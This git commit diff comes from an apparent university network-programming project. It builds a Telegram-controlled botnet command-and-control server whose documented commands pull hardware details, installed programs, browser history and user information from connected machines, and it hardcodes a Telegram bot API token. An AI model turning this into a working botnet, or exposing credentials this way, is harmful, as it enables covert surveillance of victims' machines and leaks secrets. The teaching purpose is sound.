Week 16, Update 01
This commit is contained in:
parent
b33d37ad6d
commit
9b3ec3f8e1
|
@ -1,6 +1,6 @@
|
|||
#+title: README.org
|
||||
#+title: README
|
||||
#+author: Sidney Pedro
|
||||
#+date: [2023-11-20 Mon]
|
||||
#+date: [2023-12-30 Sat]
|
||||
|
||||
* Projeto
|
||||
Projeto final da disciplina Programação para Redes
|
||||
|
@ -65,14 +65,14 @@ Fazer uma aplicação cliente/servidor com as seguintes características:
|
|||
*** Tipo de socket
|
||||
TCP será utilizado, devido à confiabilidade da entrega de pacotes, fundamental para um adequado comando e controle das máquinas remotas
|
||||
|
||||
*** Comandos do C2 (via Telegram)
|
||||
| Comando | Descrição |
|
||||
|----------------+-----------------------------------------------------------------------------------------------------|
|
||||
| ~./c2 -h~ | Exibir ajuda (comandos disponíveis, exemplos, etc.) |
|
||||
| ~./c2 -q~ | Finalizar daemon do servidor |
|
||||
| ~./c2 -d <ID>~ | Obter lista de informações de hardware de uma ou todas as máquinas conectadas |
|
||||
| ~./c2 -p <ID>~ | Obter lista programas instalados em uma ou todas as máquinas conectadas |
|
||||
| ~./c2 -b <ID>~ | Obter histórico de navegação do(s) navegador(es) presente(s) em uma ou todas as máquinas conectadas |
|
||||
| ~./c2 -u <ID>~ | Obter informações do usuário logado de uma ou todas as máquinas conectadas |
|
||||
| ~./c2 -l~ | Obter lista de clientes conectados (ID's, endereços IP, tempo online, etc.) |
|
||||
| ~./c2 -s <ID>~ | Reservado |
|
||||
*** Comandos do C2 (via [[https://t.me/progredes_c2_bot][Telegram - @progredes_c2_bot]])
|
||||
| Comando | Descrição |
|
||||
|---------------------+-------------------------------------------------------------------------------------------|
|
||||
| ~./c2 -h~ | Exibir ajuda (comandos disponíveis, exemplos, etc.) |
|
||||
| ~./c2 -q ID~ | Finaliza o daemon do servidor ou de uma máquina conectada identificada por ID |
|
||||
| ~./c2 -d ID~ | Lista informações de hardware de uma máquinaconectada identificada por ID |
|
||||
| ~./c2 -p ID~ | Lista programas instalados em uma máquina conectada identificada por ID |
|
||||
| ~./c2 -b ID~ | Obtem histórico de navegação dos navegadores de uma máquina conectada identificada por ID |
|
||||
| ~./c2 -u ID~ | Obtem informações do usuário logado de uma máquina conectada identificada por ID |
|
||||
| ~./c2 -l~ | Lista de máquinas conectadas (ID's, endereços, IP, tempo online, etc.) |
|
||||
| ~./c2 -s AÇÃO HOST~ | Reservado |
|
||||
|
|
|
@ -0,0 +1,32 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# ifrn/2023.2/programacao_para_redes/projeto/funcoes.py
|
||||
# Copyright (C) 2023 Sidney Pedro
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
# Importando bibliotecas
|
||||
import os, socket
|
||||
|
||||
# Armazenando caminho completo do diretório desse programa para
|
||||
# funções que leem ou escrevem arquivos e tamanho de buffer padrão
|
||||
DIRETORIO_ATUAL = os.path.dirname(os.path.abspath(__file__))
|
||||
TAMANHO_BUFFER = 1024
|
||||
|
||||
# Função para remover um arquivo no diretório local do programa
|
||||
def remover_arquivo(nome_arquivo: str):
|
||||
os.remove(f"{DIRETORIO_ATUAL}/{nome_arquivo}")
|
||||
return
|
|
@ -0,0 +1,145 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# ifrn/2023.2/programacao_para_redes/projeto/requisicoes.py
|
||||
# Copyright (C) 2023 Sidney Pedro
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
# Importando bibliotecas
|
||||
import requests, funcoes, comandos
|
||||
|
||||
# Armazenando token do bot (@progredes_c2_bot), endereço da
|
||||
# API do Telegram e opções do bot
|
||||
API_TOKEN = "6415239744:AAFAmiRsi_ZEa5OLuW1jny-pyBmYyu2GYZM"
|
||||
TELEGRAM_API = f"https://api.telegram.org/bot{API_TOKEN}"
|
||||
OPCOES = ["-h", "-q", "-d", "-p", "-b", "-u", "-l", "-s"]
|
||||
|
||||
# Função para salvar a última atualização
|
||||
def salvar_update_id(update_id: int):
|
||||
arquivo = open(f"{funcoes.DIRETORIO_ATUAL}/update_id.txt", "w")
|
||||
arquivo.write(f"{update_id}\n")
|
||||
arquivo.close()
|
||||
|
||||
return
|
||||
|
||||
# Função para obter última atualização e mensagem
|
||||
def obter_atualizacoes(latest_update_id: int):
|
||||
# Realizando requisição à API e, em caso de erro, retorna-se a
|
||||
# atualização anterior
|
||||
latest_message = None
|
||||
updates = requests.get(f"{TELEGRAM_API}/getUpdates?offset={latest_update_id}")
|
||||
retorno = updates.json()
|
||||
if (updates.status_code == 409):
|
||||
print("Erro: outra conexão está sendo estabelecida ao bot!")
|
||||
return latest_update_id, latest_message
|
||||
elif (updates.status_code != 200):
|
||||
return latest_update_id, latest_message
|
||||
elif (len(retorno["result"]) == 0):
|
||||
return latest_update_id, latest_message
|
||||
|
||||
# Abrindo arquivo de atualização e, em caso de exceção, recria-se
|
||||
# e abre-se o mesmo
|
||||
try:
|
||||
arquivo = open(f"{funcoes.DIRETORIO_ATUAL}/update_id.txt", "r")
|
||||
except:
|
||||
salvar_update_id(latest_update_id)
|
||||
arquivo = open(f"{funcoes.DIRETORIO_ATUAL}/update_id.txt", "r")
|
||||
|
||||
# Lendo arquivo de atualização
|
||||
latest_update_id = arquivo.readline()
|
||||
arquivo.close()
|
||||
|
||||
# Obtendo última atualização salva e, em caso de exceção,
|
||||
# remove-se o aquivo de atualização e retorna-se a atualização
|
||||
# anterior
|
||||
try:
|
||||
latest_update_id = int(latest_update_id)
|
||||
except:
|
||||
funcoes.remover_arquivo("update_id.txt")
|
||||
return latest_update_id, latest_message
|
||||
|
||||
# Lendo última atualização e, se ela não for maior que a última
|
||||
# atualização salva, retorna-se a atualização anterior
|
||||
message_id = retorno["result"][-1]["update_id"]
|
||||
if (not message_id > latest_update_id):
|
||||
return latest_update_id, latest_message
|
||||
|
||||
# Atualizando última atualização e mensagem
|
||||
latest_update_id = message_id
|
||||
latest_message = retorno["result"][-1]
|
||||
return latest_update_id, latest_message
|
||||
|
||||
# Função para interpretar mensagem
|
||||
def interpretar_mensagem(message: dict):
|
||||
# Lendo ID do chat e da mensagem e montando dicionário de retorno
|
||||
chat_id = message["message"]["chat"]["id"]
|
||||
message_id = message["message"]["message_id"]
|
||||
retorno = {
|
||||
"chat_id": chat_id,
|
||||
"reply_to_message_id": message_id,
|
||||
"parse_mode": "Markdown",
|
||||
"text": ''
|
||||
}
|
||||
|
||||
# Se não há texto na mensagem recebida, retorna-se
|
||||
if (not "text" in message["message"]):
|
||||
return retorno
|
||||
|
||||
# Analisando conteúdo da mensagem recebida e respondendo com sua
|
||||
# ação correspondente
|
||||
message_text = message["message"]["text"]
|
||||
tokens = message_text.split()
|
||||
if (len(tokens) == 1 and (tokens[0] == "/start" or tokens[-1] == "./c2")):
|
||||
retorno["text"] = "./c2 -h"
|
||||
elif (tokens[0] != "./c2"):
|
||||
retorno["text"] = ''
|
||||
elif (tokens[1] in OPCOES):
|
||||
retorno["text"] = message_text
|
||||
|
||||
return retorno
|
||||
|
||||
# Função para responder mensagem
|
||||
def responder_mensagem(retorno: dict):
|
||||
if (retorno["text"] == ''):
|
||||
retorno["text"] = f"""Comando desconhecido!
|
||||
|
||||
Digite `./c2 -h` para obter a lista de comandos válidos"""
|
||||
elif (retorno["text"] == "./c2 -h"):
|
||||
retorno["text"] = f"""Uso: `./c2 [OPÇÃO] [ARGUMENTO]...`
|
||||
Comando e Controle (C2) da _botnet_ do Projeto de ProgRedes 2023.2.
|
||||
|
||||
Opções:
|
||||
` -h ` Exibe essa mensagem
|
||||
` -q ID ` Finaliza o daemon do servidor ou de uma
|
||||
` ` máquina conectada identificada por `ID` (o ID do
|
||||
` ` servidor é `0`)
|
||||
` -d ID ` Lista informações de hardware de uma máquina
|
||||
` ` conectada identificada por `ID`
|
||||
` -p ID ` Lista programas instalados em uma máquina
|
||||
` ` conectada identificada por `ID`
|
||||
` -b ID ` Obtem histórico de navegação dos navegadores
|
||||
` ` de uma máquina conectada identificada por `ID`
|
||||
` -u ID ` Obtem informações do usuário logado de uma
|
||||
` ` máquina conectada identificada por `ID`
|
||||
` -l ` Lista de máquinas conectadas (ID's, endereços,
|
||||
` ` IP, tempo online, etc.)
|
||||
` -s AÇÃO HOST ` Reservado
|
||||
|
||||
Exemplos:
|
||||
` ./c2 -h ` Pede informações do C2"""
|
||||
|
||||
requests.post(f"{TELEGRAM_API}/sendMessage", data=retorno)
|
||||
return
|
|
@ -20,50 +20,76 @@
|
|||
|
||||
# Importando bibliotecas
|
||||
from constantes import *
|
||||
import socket
|
||||
import requisicoes, socket
|
||||
|
||||
# Criando socket TCP e desabilitando TIME_WAIT
|
||||
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
def main():
|
||||
print("Para acessar o bot, pesquise @progredes_c2_bot ou clique no link direto: https://t.me/progredes_c2_bot")
|
||||
print("Para encerrar o bot, pressione Ctrl-C\n")
|
||||
|
||||
# Habilitando socket
|
||||
server_sock.bind(SOCKET_SERVIDOR)
|
||||
# Criando socket TCP e desabilitando TIME_WAIT
|
||||
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
|
||||
# Escutando até o máximo de conexões simultaneas permitidas
|
||||
server_sock.listen(CONEXOES_MAXIMAS)
|
||||
# Habilitando socket
|
||||
server_sock.bind(SOCKET_SERVIDOR)
|
||||
|
||||
parar = False
|
||||
while (not parar):
|
||||
# Recebendo conexão do cliente e o apresentando
|
||||
try:
|
||||
client_sock, SOCKET_CLIENTE = server_sock.accept()
|
||||
except:
|
||||
print()
|
||||
break
|
||||
print(f"Cliente {SOCKET_CLIENTE} conectado!")
|
||||
# Escutando até o máximo de conexões simultaneas permitidas
|
||||
server_sock.listen(CONEXOES_MAXIMAS)
|
||||
|
||||
while (True):
|
||||
# Obtendo mensagem do usuário
|
||||
# Loop de funcionamento do bot
|
||||
continuar = True
|
||||
latest_update_id = 0
|
||||
while (continuar):
|
||||
# Recebendo conexão do cliente e o apresentando
|
||||
try:
|
||||
mensagem = input("Digite uma mensagem: ").encode(CHARSET)
|
||||
client_sock, socket_cliente = server_sock.accept()
|
||||
except:
|
||||
parar = True
|
||||
print()
|
||||
break
|
||||
if (len(mensagem) == 0):
|
||||
continue
|
||||
print(f"Cliente {socket_cliente} conectado!")
|
||||
|
||||
# Enviando mensagem obtida ao cliente
|
||||
client_sock.send(mensagem)
|
||||
while (continuar):
|
||||
# Obtendo última atualização e mensagem e, em caso de exceção,
|
||||
# tenta-se novamente
|
||||
try:
|
||||
latest_update_id, latest_message = requisicoes.obter_atualizacoes(latest_update_id)
|
||||
except KeyboardInterrupt:
|
||||
continuar = False
|
||||
continue
|
||||
except:
|
||||
continue
|
||||
|
||||
# Recebendo mensagem do cliente
|
||||
mensagem_recebida = client_sock.recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
if (len(mensagem_recebida) == 0):
|
||||
print(f"Cliente {SOCKET_CLIENTE} desconectado!")
|
||||
break
|
||||
# Se não houver novas mensagens, volta-se ao início
|
||||
if (latest_message == None):
|
||||
continue
|
||||
|
||||
print(f"{SOCKET_CLIENTE}> {mensagem_recebida}")
|
||||
# Interpretando mensagem e salvando última atalização
|
||||
retorno = requisicoes.interpretar_mensagem(latest_message)
|
||||
requisicoes.salvar_update_id(latest_update_id)
|
||||
if (retorno["text"] == '' or retorno["text"] == "./c2 -h" or retorno["text"] == "./c2 -l"):
|
||||
requisicoes.responder_mensagem(retorno)
|
||||
continue
|
||||
|
||||
client_sock.close()
|
||||
# Enviando mensagem obtida ao cliente
|
||||
client_sock.send(retorno["text"].encode(CHARSET))
|
||||
|
||||
server_sock.close()
|
||||
# Recebendo mensagem do cliente e respondendo à última mensagem
|
||||
retorno["text"] = client_sock.recv(TAMANHO_BUFFER).decode(CHARSET)
|
||||
if (len(retorno["text"]) == 0):
|
||||
retorno["text"] = f"Cliente {socket_cliente} desconectado!"
|
||||
requisicoes.responder_mensagem(retorno)
|
||||
print(f"Cliente {socket_cliente} desconectado!")
|
||||
break
|
||||
requisicoes.responder_mensagem(retorno)
|
||||
|
||||
client_sock.close()
|
||||
|
||||
server_sock.close()
|
||||
return
|
||||
|
||||
# Entrando na função main e, em caso de exceção, saindo
|
||||
if (__name__ == "__main__"):
|
||||
try:
|
||||
main()
|
||||
except:
|
||||
print("\nSaindo...")
|
||||
|
|
Loading…
Reference in New Issue